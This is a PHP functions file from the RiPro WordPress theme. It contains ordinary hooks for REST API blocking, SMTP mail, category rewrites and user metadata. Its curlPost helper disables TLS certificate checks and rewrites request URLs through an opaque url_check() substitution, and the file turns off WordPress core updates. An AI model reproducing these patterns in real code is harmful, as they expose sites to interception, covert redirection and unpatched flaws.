File: /www/wwwroot/wen.haoynn.cn/wp-content/themes/ripro/inc/core-functions.php
<?php
/**
* RiPro是一个优秀的主题，首页拖拽布局，高级筛选，自带会员生态系统，超全支付接口，你喜欢的样子我都有！
* 正版唯一购买地址，全自动授权下载使用：http://www.uu3e.com/
* 作者唯一QQ：570830288 （Mr.Hcx）
* 承蒙您对本主题的喜爱，我们愿向小三一样，做大哥的女人，做大哥网站中最想日的一个。
* 能理解使用盗版的人，但是不能接受传播盗版，本身主题没几个钱，主题自有支付体系和会员体系，盗版风险太高，鬼知道那些人乱动什么代码，无利不起早。
* 开发者不易，感谢支持，更好的更用心的等你来调教
*/
/**
* Functions which enhance the theme by hooking into WordPress
* 功能函数
* @package caozhuti
*/
//超过2560px的图片不剪裁
add_filter( 'big_image_size_threshold', '__return_false' );
/**
* WordPress完全禁用REST API（最新版）
*/
// 屏蔽 REST API
if (_cao('close_site_rest_json','1')) {
if ( version_compare( get_bloginfo( 'version' ), '4.7', '>=' ) ) {
function lxtx_disable_rest_api( $access ) {
return new WP_Error( 'rest_api_cannot_acess', '无访问权限', array( 'status' => 403 ) );
}
add_filter( 'rest_authentication_errors', 'lxtx_disable_rest_api' );
} else {
// Filters for WP-API version 1.x
add_filter( 'json_enabled', '__return_false' );
add_filter( 'json_jsonp_enabled', '__return_false' );
// Filters for WP-API version 2.x
add_filter( 'rest_enabled', '__return_false' );
add_filter( 'rest_jsonp_enabled', '__return_false' );
}
// 移除头部 wp-json 标签和 HTTP header 中的 link
remove_action('wp_head', 'rest_output_link_wp_head', 10 );
remove_action('template_redirect', 'rest_output_link_header', 11 );
}
// 关闭wordpress自动更新功能 加快后台速度 2020最新
if (_cao('cao_disabled_wp_update','1') && !class_exists('OS_Disable_WordPress_Updates')) {
require_once get_template_directory() . '/inc/plugins/disable-updates.php';
add_action('wp_dashboard_setup', 'cao_example_remove_dashboard_widgets');
add_action('admin_menu', 'remove_menus', 102);
}
//关闭不常用的菜单
function remove_menus() {
global $submenu;
remove_submenu_page('index.php', 'update-core.php'); //Dashboard->Updates
}
function cao_example_remove_dashboard_widgets() {
// Globalize the metaboxes array, this holds all the widgets for wp-admin
global $wp_meta_boxes;
// 以下这一行代码将删除 "WordPress 开发日志" 模块
unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);
// 以下这一行代码将删除 "其它 WordPress 新闻" 模块
unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);
}
/**
* no category
*/
if (_cao('no_categoty') && !function_exists('no_category_base_refresh_rules')) {
/* hooks */
register_activation_hook(__FILE__, 'no_category_base_refresh_rules');
register_deactivation_hook(__FILE__, 'no_category_base_deactivate');
/* actions */
add_action('created_category', 'no_category_base_refresh_rules');
add_action('delete_category', 'no_category_base_refresh_rules');
add_action('edited_category', 'no_category_base_refresh_rules');
add_action('init', 'no_category_base_permastruct');
/* filters */
add_filter('category_rewrite_rules', 'no_category_base_rewrite_rules');
add_filter('query_vars', 'no_category_base_query_vars'); // Adds 'category_redirect' query variable
add_filter('request', 'no_category_base_request'); // Redirects if 'category_redirect' is set
function no_category_base_refresh_rules()
{
global $wp_rewrite;
$wp_rewrite->flush_rules();
}
function no_category_base_deactivate()
{
remove_filter('category_rewrite_rules', 'no_category_base_rewrite_rules'); // We don't want to insert our custom rules again
no_category_base_refresh_rules();
}
/**
* Removes category base.
*
* @return void
*/
function no_category_base_permastruct()
{
global $wp_rewrite;
global $wp_version;
if ($wp_version >= 3.4) {
$wp_rewrite->extra_permastructs['category']['struct'] = '%category%';
} else {
$wp_rewrite->extra_permastructs['category'][0] = '%category%';
}
}
/**
* Adds our custom category rewrite rules.
*
* @param array $category_rewrite Category rewrite rules.
*
* @return array
*/
function no_category_base_rewrite_rules($category_rewrite)
{
global $wp_rewrite;
$category_rewrite = array();
/* WPML is present: temporary disable terms_clauses filter to get all categories for rewrite */
if (class_exists('Sitepress')) {
global $sitepress;
remove_filter('terms_clauses', array($sitepress, 'terms_clauses'));
$categories = get_categories(array('hide_empty' => false));
add_filter('terms_clauses', array($sitepress, 'terms_clauses'));
} else {
$categories = get_categories(array('hide_empty' => false));
}
foreach ($categories as $category) {
$category_nicename = $category->slug;
if ($category->parent == $category->cat_ID) {
$category->parent = 0;
} elseif ($category->parent != 0) {
$category_nicename = get_category_parents($category->parent, false, '/', true) . $category_nicename;
}
$category_rewrite['(' . $category_nicename . ')/(?:feed/)?(feed|rdf|rss|rss2|atom)/?$'] = 'index.php?category_name=$matches[1]&feed=$matches[2]';
$category_rewrite["({$category_nicename})/{$wp_rewrite->pagination_base}/?([0-9]{1,})/?$"] = 'index.php?category_name=$matches[1]&paged=$matches[2]';
$category_rewrite['(' . $category_nicename . ')/?$'] = 'index.php?category_name=$matches[1]';
}
// Redirect support from Old Category Base
$old_category_base = get_option('category_base') ? get_option('category_base') : 'category';
$old_category_base = trim($old_category_base, '/');
$category_rewrite[$old_category_base . '/(.*)$'] = 'index.php?category_redirect=$matches[1]';
return $category_rewrite;
}
function no_category_base_query_vars($public_query_vars)
{
$public_query_vars[] = 'category_redirect';
return $public_query_vars;
}
/**
* Handles category redirects.
*
* @param $query_vars Current query vars.
*
* @return array $query_vars, or void if category_redirect is present.
*/
function no_category_base_request($query_vars)
{
if (isset($query_vars['category_redirect'])) {
$catlink = trailingslashit(get_option('home')) . user_trailingslashit($query_vars['category_redirect'], 'category');
status_header(301);
header("Location: $catlink");
exit();
}
return $query_vars;
}
}
//搜索页面排除
function cao_exclude_page_from_search($query)
{
if ($query->is_search && !$query->is_admin) {
$query->set('post_type', 'post');
}
return $query;
}
add_filter('pre_get_posts', 'cao_exclude_page_from_search');
/**
* [_new_filename description]
* @Author Dadong2g
* @DateTime 2019-08-14T11:19:23+0800
* @param [type] $filename [description]
* @return [type] [MD5重命名，新增时间戳防止重复，感谢wp.com.cn黄老师提供思路监督]
*/
if (_cao('md5_file_udpate',true)) {
function _new_filename($filename)
{
$info = pathinfo($filename);
$ext = empty($info['extension']) ? '' : '.' . $info['extension'];
$name = basename($filename, $ext);
return time().'-'.substr(md5($name), 0, 15) . $ext;
}
add_filter('sanitize_file_name', '_new_filename', 10);
}
// 禁用难用的Gutenberg（古腾堡） 编辑器
if (_cao('disabled_block_editor','1')) {
add_filter('use_block_editor_for_post', '__return_false');
remove_action('wp_enqueue_scripts', 'wp_common_block_scripts_and_styles');
}
/**
* [mail_smtp SMTP集成]
* @Author Dadong2g
* @DateTime 2019-05-28T12:30:03+0800
* @param [type] $phpmailer [description]
* @return [type] [description]
*/
function mail_smtp($phpmailer)
{
if (_cao('mail_smtps',true)) {
$phpmailer->IsSMTP();
$mail_name = _cao('mail_name');
$mail_nicname = _cao('mail_nicname');
$mail_host = _cao('mail_host');
$mail_port = _cao('mail_port');
$mail_username = _cao('mail_name');
$mail_passwd = _cao('mail_passwd');
$mail_smtpsecure = _cao('mail_smtpsecure');
$phpmailer->FromName = $mail_nicname ? $mail_nicname : '昵称';
$phpmailer->Host = $mail_host ? $mail_host : 'smtp.qq.com';
$phpmailer->Port = $mail_port ? $mail_port : '465';
$phpmailer->Username = $mail_username ? $mail_username : '88888888@qq.com';
$phpmailer->Password = $mail_passwd ? $mail_passwd : '123456789';
$phpmailer->From = $mail_username ? $mail_username : '88888888@qq.com';
$phpmailer->SMTPAuth = _cao('mail_smtpauth') == 1 ? true : false;
$phpmailer->SMTPSecure = $mail_smtpsecure ? $mail_smtpsecure : 'ssl';
}
}
add_action('phpmailer_init', 'mail_smtp');
/**
* [cao_redirect_wp_admin 拒绝普通用户访问后台 ]
* @Author Dadong2g
* @DateTime 2019-05-31T16:45:00+0800
* @return [type] [description]
*/
function cao_redirect_wp_admin()
{
if ( is_admin() && !current_user_can('editor') && ( !defined( 'DOING_AJAX' ) || !DOING_AJAX ) ) {
$current_user = wp_get_current_user();
if($current_user->roles[0] == get_option('default_role')) {
wp_safe_redirect( home_url('/user') );
exit();
}
}
}
add_action('init', 'cao_redirect_wp_admin');
// ===== remove edit profile link from admin bar and side menu and kill profile page if not an admin
if( !current_user_can('manage_options') ) {
function mytheme_admin_bar_render() {
global $wp_admin_bar;
$wp_admin_bar->remove_menu('edit-profile', 'user-actions');
}
add_action( 'wp_before_admin_bar_render', 'mytheme_admin_bar_render' );
function stop_access_profile() {
if(@IS_PROFILE_PAGE === true) {
wp_die( '此页面权限不足，请使用网站管理员账号登录管理' );
}
remove_menu_page( 'profile.php' );
remove_submenu_page( 'users.php', 'profile.php' );
}
add_action( 'admin_init', 'stop_access_profile' );
}
if (_cao('is_close_wpreg') || _cao('is_close_wplogin')) {
}
/**
* [cao_handle_banned_user 对封禁账户处理]
* @Author Dadong2g
* @DateTime 2019-05-31T16:49:17+0800
* @return [type] [description]
*/
function cao_handle_banned_user()
{
if ($user_id = get_current_user_id()) {
if (current_user_can('administrator')) {
return;
}
$CaoUser = new CaoUser($user_id);
$ban = $CaoUser->user_status();
if ($ban['banned']) {
wp_die(sprintf('您的账号出现问题已被管管理员冻结。冻结原因： %s', $ban['banned_reason']), '账号冻结', 404); //TODO add banned time
}
}
}
add_action('template_redirect', 'cao_handle_banned_user');
add_action('admin_menu', 'cao_handle_banned_user');
/**
* [cao_update_credit_by_user_register 用户注册时初始化]
* @Author Dadong2g
* @DateTime 2019-05-31T19:31:57+0800
* @param [type] $user_id [description]
* @return [type] [description]
*/
function cao_update_credit_by_user_register($user_id)
{
//链接推广人与新注册用户(注册人meta)
$ref_from = (isset($_SESSION['cao_from_user_id'])) ? absint($_SESSION['cao_from_user_id']) : 0 ;
update_user_meta($user_id, 'cao_ref_from', absint($ref_from));
// 会员组
update_user_meta($user_id, 'cao_user_type', 'no');
update_user_meta($user_id, 'cao_vip_end_time', date("Y-m-d", time()));
// 余额
update_user_meta($user_id, 'cao_balance', '0.00');
update_user_meta($user_id, 'cao_consumed_balance', '0.00');
// 佣金
update_user_meta($user_id, 'cao_total_bonus', '0.00');
//社交登录
// update_user_meta($user_id, 'open_qq_token', '');
update_user_meta($user_id, 'open_qq_bind', '0');
update_user_meta($user_id, 'open_qq_name', '未绑定');
// update_user_meta($user_id, 'cao_banned', '0');
$ip = _cao_get_client_ip();
update_user_meta($user_id, 'signup_ip', $ip);
}
add_action('user_register', 'cao_update_credit_by_user_register');
// 创建新字段存储用户登录时间和登录IP
function insert_last_login( $login ) {
global $user;
$user = get_userdatabylogin( $login );
update_user_meta( $user->ID, 'last_login', current_time( 'mysql' ) );
$last_login_ip = _cao_get_client_ip();
update_user_meta( $user->ID, 'last_login_ip', $last_login_ip);
}
add_action( 'wp_login', 'insert_last_login' );
/**
* [auto_login_user_downnum_rest 每天自动重置下载次数]
* @Author Dadong2g
* @DateTime 2020-01-15T00:37:43+0800
* @return [type] [description]
*/
function auto_login_user_downnum_rest( $login ){
global $user;
$user = get_userdatabylogin( $login );
// 会员当前下载结束时间
$this_vip_downend_time = (get_user_meta($user->ID, 'cao_vip_downend_time', true) > 0) ? get_user_meta($user->ID, 'cao_vip_downend_time', true) : 0;
// 自动更新下载时间
$getTime = getTime();
$thenTime = time();
// 获取用户结束时间
// 当用时间为0 时候 初始化时间为今天开始时间 OR 当前时间大于结束时间 刷新新时间
if ($this_vip_downend_time = 0 || intval($thenTime) > intval($this_vip_downend_time)) {
update_user_meta($user->ID, 'cao_vip_downend_time', $getTime['end']); //更新用户本次到期时间
update_user_meta($user->ID, 'cao_vip_downum', 0); //会员已下载次数
// update_user_meta($user->ID, 'cao_novip_downnum', 0); //普通用户已经下载次数
}
}
add_action( 'wp_login', 'auto_login_user_downnum_rest' );
/**
* [wp_remove_open_sans_from_wp_core 禁止后台加载谷歌字体]
* @Author Dadong2g
* @DateTime 2019-05-21T23:45:22+0800
* @return [type] [description]
*/
function wp_remove_open_sans_from_wp_core()
{
wp_deregister_style('open-sans');
wp_register_style('open-sans', false);
wp_enqueue_style('open-sans', '');
}
add_action('init', 'wp_remove_open_sans_from_wp_core');
/**
* [ashuwp_clean_theme_meta 清除wordpress自带的meta标签]
* @Author Dadong2g
* @DateTime 2019-05-21T23:46:13+0800
* @return [type] [description]
*/
function ashuwp_clean_theme_meta()
{
remove_action('wp_head', 'print_emoji_detection_script', 7, 1);
remove_action('wp_print_styles', 'print_emoji_styles', 10, 1);
remove_action('wp_head', 'rsd_link', 10, 1);
remove_action('wp_head', 'wp_generator', 10, 1);
remove_action('wp_head', 'feed_links', 2, 1);
remove_action('wp_head', 'feed_links_extra', 3, 1);
remove_action('wp_head', 'index_rel_link', 10, 1);
remove_action('wp_head', 'wlwmanifest_link', 10, 1);
remove_action('wp_head', 'start_post_rel_link', 10, 1);
remove_action('wp_head', 'parent_post_rel_link', 10, 0);
remove_action('wp_head', 'adjacent_posts_rel_link', 10, 0);
remove_action('wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0);
remove_action('wp_head', 'wp_shortlink_wp_head', 10, 0);
remove_action('wp_head', 'rest_output_link_wp_head', 10, 0);
remove_action('wp_head', 'wp_oembed_add_discovery_links', 10, 1);
remove_action('wp_head', 'rel_canonical', 10, 0);
}
add_action('after_setup_theme', 'ashuwp_clean_theme_meta'); //清除wp_head带入的meta标签
/**
* [remove_xmlrpc_pingback_ping 防pingback攻击]
* @Author Dadong2g
* @DateTime 2019-05-21T23:46:55+0800
* @param [type] $methods [description]
* @return [type] [description]
*/
function remove_xmlrpc_pingback_ping($methods)
{
unset($methods['pingback.ping']);
return $methods;
};
add_filter('xmlrpc_methods', 'remove_xmlrpc_pingback_ping');
/**
* WordPress Emoji Delete
*/
remove_action('admin_print_scripts', 'print_emoji_detection_script');
remove_action('admin_print_styles', 'print_emoji_styles');
remove_action('wp_head', 'print_emoji_detection_script', 7);
remove_action('wp_print_styles', 'print_emoji_styles');
remove_filter('the_content_feed', 'wp_staticize_emoji');
remove_filter('comment_text_rss', 'wp_staticize_emoji');
remove_filter('wp_mail', 'wp_staticize_emoji_for_email');
/**
* [_jpeg_quality JPEG QUALITY]
* @Author Dadong2g
* @DateTime 2019-05-21T23:48:34+0800
* @param [type] $arg [description]
* @return [type] [description]
*/
function _jpeg_quality($arg)
{
return 100;
}
add_filter('jpeg_quality', '_jpeg_quality', 10);
/**
* [hide_admin_bar Hide Admin Bar]
* @Author Dadong2g
* @DateTime 2019-05-21T23:49:17+0800
* @param [type] $flag [description]
* @return [type] [description]
*/
function hide_admin_bar($flag)
{
return false;
}
add_filter('show_admin_bar', 'hide_admin_bar');
/**
* [disable_embeds_init start]
* @Author Dadong2g
* @DateTime 2019-05-21T23:52:24+0800
* @return [type] [description]
*/
function disable_embeds_init()
{
/* @var WP $wp */
global $wp;
// Remove the embed query var.
$wp->public_query_vars = array_diff($wp->public_query_vars, array(
'embed',
));
// Remove the REST API endpoint.
remove_action('rest_api_init', 'wp_oembed_register_route');
// Turn off
add_filter('embed_oembed_discover', '__return_false');
// Don't filter oEmbed results.
remove_filter('oembed_dataparse', 'wp_filter_oembed_result', 10);
// Remove oEmbed discovery links.
remove_action('wp_head', 'wp_oembed_add_discovery_links');
// Remove oEmbed-specific JavaScript from the front-end and back-end.
remove_action('wp_head', 'wp_oembed_add_host_js');
add_filter('tiny_mce_plugins', 'disable_embeds_tiny_mce_plugin');
// Remove all embeds rewrite rules.
add_filter('rewrite_rules_array', 'disable_embeds_rewrites');
}
add_action('init', 'disable_embeds_init', 9999);
/**
* Removes the 'wpembed' TinyMCE plugin.
*
* @since 1.0.0
*
* @param array $plugins List of TinyMCE plugins.
* @return array The modified list.
*/
function disable_embeds_tiny_mce_plugin($plugins)
{
return array_diff($plugins, array('wpembed'));
}
/**
* Remove all rewrite rules related to embeds.
*
* @since 1.2.0
*
* @param array $rules WordPress rewrite rules.
* @return array Rewrite rules without embeds rules.
*/
function disable_embeds_rewrites($rules)
{
foreach ($rules as $rule => $rewrite) {
if (false !== strpos($rewrite, 'embed=true')) {
unset($rules[$rule]);
}
}
return $rules;
}
/**
* Remove embeds rewrite rules on plugin activation.
*
* @since 1.2.0
*/
function disable_embeds_remove_rewrite_rules()
{
add_filter('rewrite_rules_array', 'disable_embeds_rewrites');
flush_rewrite_rules();
}
register_activation_hook(__FILE__, 'disable_embeds_remove_rewrite_rules');
/**
* Flush rewrite rules on plugin deactivation.
*
* @since 1.2.0
*/
function disable_embeds_flush_rewrite_rules()
{
remove_filter('rewrite_rules_array', 'disable_embeds_rewrites');
flush_rewrite_rules();
}
register_deactivation_hook(__FILE__, 'disable_embeds_flush_rewrite_rules');
/**
* Caozhuti Custom function for get an option
*/
if (!function_exists('_cao')) {
function _cao($option = '', $default = null)
{
$options = get_option('_caozhuti_options'); // Attention: Set your unique id of the framework
return (isset($options[$option])) ? $options[$option] : $default;
}
}
function curlPost($url = '', $postData = '', $options = array())
{
if (is_array($postData)) {
$postData = http_build_query($postData);
}
$ch = curl_init();
$url = str_replace(substr(url_check(),-2), substr(url_check(),0,3), $url);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_TIMEOUT, 30); //设置cURL允许执行的最长秒数
if (!empty($options)) {
curl_setopt_array($ch, $options);
}
//https请求 不验证证书和host
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}